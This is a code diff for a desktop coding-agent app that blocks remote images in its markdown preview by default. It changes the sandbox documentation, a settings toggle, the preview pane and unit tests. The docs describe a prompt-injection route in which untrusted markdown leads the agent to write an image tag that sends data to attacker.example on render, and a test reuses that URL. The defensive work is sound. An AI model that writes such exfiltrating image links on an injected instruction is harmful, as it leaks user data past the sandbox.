feat: gate remote images in markdown preview behind a default-off pref (#69)

docs/sandbox.md

@@ -33,29 +33,34 @@ The seatbelt + CONNECT proxy cage the **agent process**. They do not cage the
 **webview**, which makes its own network requests as the app itself. Anything
 the webview can be made to fetch is egress the proxy allowlist never sees.
 
-There is one such path today, accepted deliberately (#65): `img-src` in
-`tauri.conf.json` allows any `https:` origin, so the markdown preview renders
-remote images. Previewing
+There was one such path (#65): `img-src` in `tauri.conf.json` allows any
+`https:` origin, so the markdown preview could render remote images.
+Previewing
 
 ```markdown
 ![](https://attacker.example/x.png?d=<data>)
 ```
 
-fires a GET to an arbitrary host on render, with no click and no prompt, even
-when the workspace is in `Enforce` and the agent itself cannot reach that host.
-
-The realistic trigger is not a scheming agent, it is **prompt injection plus
-untrusted markdown**. An agent reads a dependency's README, a GitHub issue, or a
-fetched page, and that text tells it to write the image tag. The same applies to
-markdown the agent never touched: a contributor's fork, a submodule, a vendored
-package. Only a GET is possible (no script: `script-src 'self'`, markdown-it runs
-with `html:false` and blocks `javascript:`), so the payload is limited to what
-the markdown's author can encode in a URL, plus the viewer's IP, user-agent, and
-timing. GitHub and VS Code make the same tradeoff for their previews.
-
-If this ever needs closing, the shape is a default-off "load remote images"
-preference gating hydration (tracked in #69), not a CSP tweak: Tauri's CSP is
-one policy for the whole webview and cannot be scoped to a component.
+used to fire a GET to an arbitrary host on render, with no click and no
+prompt, even when the task is in `Enforce` and the agent itself cannot reach
+that host.
+
+The realistic trigger was never a scheming agent, it's **prompt injection
+plus untrusted markdown**. An agent reads a dependency's README, a GitHub
+issue, or a fetched page, and that text tells it to write the image tag. The
+same applies to markdown the agent never touched: a contributor's fork, a
+submodule, a vendored package. Only a GET was ever possible (no script:
+`script-src 'self'`, markdown-it runs with `html:false` and blocks
+`javascript:`), so the payload was limited to what the markdown's author
+could encode in a URL, plus the viewer's IP, user-agent, and timing. GitHub
+and VS Code make the same tradeoff for their previews, but not on by default.
+
+Closed in #69: `gateRemoteImages()` in `MarkdownPreview.tsx` intercepts every
+`http(s):` `<img>` src before it ever reaches the DOM's `src` attribute,
+gated on a default-OFF `loadRemoteImages` pref (Settings → General) or a
+per-tab override set from the preview's own "blocked images" banner. The CSP
+itself is unchanged, still allows `https:` in `img-src` — this is a renderer
+gate, not a CSP tweak, per the note below.
 
 **Before widening the CSP again, remember it is app-wide.** `connect-src` or
 `script-src` would be materially worse than `img-src` is.

src/components/settings/GeneralSection.tsx

@@ -46,6 +46,8 @@ export function GeneralSection() {
   const setSettledHighlight = usePrefs(s => s.setSettledHighlight);
   const workingIndicator = usePrefs(s => s.workingIndicator);
   const setWorkingIndicator = usePrefs(s => s.setWorkingIndicator);
+  const loadRemoteImages = usePrefs(s => s.loadRemoteImages);
+  const setLoadRemoteImages = usePrefs(s => s.setLoadRemoteImages);
   const globalDefaultSandbox = usePrefs(s => s.globalDefaultSandbox);
   const setGlobalDefaultSandbox = usePrefs(s => s.setGlobalDefaultSandbox);
   const sandboxBypassPermissions = usePrefs(s => s.sandboxBypassPermissions);
@@ -59,6 +61,25 @@ export function GeneralSection() {
   const terminalCopyOnSelect = usePrefs(s => s.terminalCopyOnSelect);
   const setTerminalCopyOnSelect = usePrefs(s => s.setTerminalCopyOnSelect);
 
+  // Scroll-to-and-flash a specific row (e.g. the remote-images banner's
+  // "Settings" link) once, on mount — see view.settingsHighlight. Consumed
+  // immediately so a later manual visit to General doesn't re-trigger it,
+  // and cleared after a beat regardless (a fresh Settings mount from a
+  // stale link a minute later shouldn't re-flash something the user is
+  // already looking at).
+  const settingsHighlight = useApp(s => s.view.settingsHighlight);
+  const [flashId, setFlashId] = useState<string | null>(null);
+  useEffect(() => {
+    if (!settingsHighlight) return;
+    const id = settingsHighlight;
+    useApp.getState().clearSettingsHighlight();
+    document.getElementById(`setting-${id}`)?.scrollIntoView({ behavior: "smooth", block: "center" });
+    setFlashId(id);
+    const t = window.setTimeout(() => setFlashId(f => (f === id ? null : f)), 1600);
+    return () => window.clearTimeout(t);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [settingsHighlight]);
+
   useEffect(() => {
     settingsLoad().then(s => {
       setSettings(s);
@@ -222,6 +243,21 @@ export function GeneralSection() {
         />
       </div>
 
+      <div
+        id="setting-load-remote-images"
+        className={cn(
+          "rounded-md border-t border-[var(--color-border-soft)] pt-6 transition-colors duration-700",
+          flashId === "load-remote-images" && "bg-[var(--color-accent-deep)]/15",
+        )}
+      >
+        <Toggle
+          label="Load remote images in markdown preview"
+          hint="Off by default: images hosted on external sites are blocked in the markdown preview, so opening an untrusted file (a dependency's README, a fetched page) can't silently fire a network request. A per-document button in the preview can still load them for just that file."
+          value={loadRemoteImages}
+          onChange={setLoadRemoteImages}
+        />
+      </div>
+
       <div className="border-t border-[var(--color-border-soft)] pt-6">
         <Toggle
           label="Copy on select"

src/components/task/MarkdownPane.tsx

@@ -47,6 +47,18 @@ export function MarkdownPane({ task, tab }: { task: Task; tab: EditTab }) {
     usePrefs.getState().setMarkdownDefaultView(v);
   };
 
+  // Remote-image gate (issue #69): the pref is the default, a per-tab
+  // override unblocks just this document without touching it. The override
+  // is one-way (there's no "re-block" affordance) and session-only, like
+  // mdView — it dies with the tab, matching "load images this time".
+  const loadRemoteImages = usePrefs(s => s.loadRemoteImages);
+  const remoteImagesAllowed = tab.remoteImagesUnblocked ?? loadRemoteImages;
+  // "Always" flips the global pref instead of just this tab's override — it
+  // covers every future document, not just this one. The confirmation
+  // (bar text + Settings link) is MarkdownPreview's own transient banner
+  // state, not a toast — see its onAlwaysLoadRemoteImages handling.
+  const alwaysLoadRemoteImages = () => usePrefs.getState().setLoadRemoteImages(true);
+
   // Live buffer text fed from the editor's onContent. Debounced so split-mode
   // typing doesn't re-parse markdown + re-run mermaid on every keystroke. We
   // read view.state.doc lazily INSIDE the timeout, so a burst of keystrokes
@@ -171,6 +183,12 @@ export function MarkdownPane({ task, tab }: { task: Task; tab: EditTab }) {
                 revealHeading={tab.revealHeading}
                 onRevealConsumed={() => useApp.getState().patchTab(task.id, tab.id, { revealHeading: undefined })}
                 visible={showPreview}
+                remoteImagesAllowed={remoteImagesAllowed}
+                onUnblockRemoteImages={
+                  remoteImagesAllowed ? undefined
+                    : () => useApp.getState().patchTab(task.id, tab.id, { remoteImagesUnblocked: true })
+                }
+                onAlwaysLoadRemoteImages={remoteImagesAllowed ? undefined : alwaysLoadRemoteImages}
               />
             </Suspense>
           </div>

src/components/task/MarkdownPreview.test.ts

@@ -12,8 +12,8 @@ vi.mock("@/store/ui", () => ({ useUI: { getState: vi.fn() } }));
 
 import { taskFileReadBase64 } from "@/lib/ipc";
 import {
-  attemptReveal, captureReveal, consumeNavRevalidate, expireRevealGrace, hydrateTaskImages, IMG_CACHE_MAX_ENTRIES,
-  imgCacheInsert, newNavRevalidateState, newRevealState,
+  attemptReveal, captureReveal, consumeNavRevalidate, expireRevealGrace, gateRemoteImages, hydrateTaskImages,
+  IMG_CACHE_MAX_ENTRIES, imgCacheInsert, newNavRevalidateState, newRevealState, remoteImageBannerKind,
   type ImgCache, type MarkdownCtx,
 } from "./MarkdownPreview";
 
@@ -215,6 +215,73 @@ describe("hydrateTaskImages", () => {
   });
 });
 
+describe("gateRemoteImages", () => {
+  beforeEach(() => { document.body.innerHTML = ""; });
+
+  it("blocks a remote http(s) src: never reaches the DOM's src attribute", () => {
+    const { host, img } = mount(`<img src="https://attacker.example/x.png?d=secret">`);
+    const blocked = gateRemoteImages(host, false);
+    expect(blocked).toBe(true);
+    expect(img.getAttribute("src")).toBeNull();
+    expect(img.dataset.mdRemoteSrc).toBe("https://attacker.example/x.png?d=secret");
+  });
+
+  it("restores a blocked src verbatim once allowed", () => {
+    const { host, img } = mount(`<img src="http://example.com/a.png">`);
+    gateRemoteImages(host, false);
+    expect(img.getAttribute("src")).toBeNull();
+
+    const blocked = gateRemoteImages(host, true);
+    expect(blocked).toBe(false);
+    expect(img.getAttribute("src")).toBe("http://example.com/a.png");
+    expect(img.dataset.mdRemoteSrc).toBeUndefined();
+  });
+
+  it("leaves data: and blob: sources alone regardless of allowed", () => {
+    const { host } = mount(`<img src="data:image/png;base64,AAA"><img src="blob:x">`);
+    const imgs = Array.from(host.querySelectorAll("img"));
+    expect(gateRemoteImages(host, false)).toBe(false);
+    expect(imgs[0].getAttribute("src")).toBe("data:image/png;base64,AAA");
+    expect(imgs[1].getAttribute("src")).toBe("blob:x");
+  });
+
+  it("leaves a task-relative image (already claimed by hydrateTaskImages) alone", () => {
+    const { host, img } = mount(`<img src="a.png">`);
+    img.dataset.mdSrc = "a.png";
+    img.removeAttribute("src");
+    expect(gateRemoteImages(host, false)).toBe(false);
+    expect(img.dataset.mdRemoteSrc).toBeUndefined();
+  });
+
+  it("when allowed from the start, never blocks (browser handles it natively)", () => {
+    const { host, img } = mount(`<img src="https://example.com/a.png">`);
+    expect(gateRemoteImages(host, true)).toBe(false);
+    expect(img.getAttribute("src")).toBe("https://example.com/a.png");
+  });
+});
+
+describe("remoteImageBannerKind", () => {
+  it("shows nothing when there's nothing blocked and nothing to confirm", () => {
+    expect(remoteImageBannerKind(false, true, false)).toBeNull();
+  });
+
+  it("shows the blocked banner when images are blocked and a per-doc override is offered", () => {
+    expect(remoteImageBannerKind(true, true, false)).toBe("blocked");
+  });
+
+  it("shows nothing for a blocked doc with no per-doc override to offer (e.g. Changelog dialog)", () => {
+    expect(remoteImageBannerKind(true, false, false)).toBeNull();
+  });
+
+  it("shows the confirm banner once justAllowedGlobally is set and nothing is blocked", () => {
+    expect(remoteImageBannerKind(false, true, true)).toBe("confirm");
+  });
+
+  it("blocked always wins over a stale confirm, instead of showing both or flickering", () => {
+    expect(remoteImageBannerKind(true, true, true)).toBe("blocked");
+  });
+});
+
 describe("imgCacheInsert entry-count cap", () => {
   it("bounds the cache by entry count, not just bytes (negative entries are ~0 bytes)", () => {
     const cache = newCache();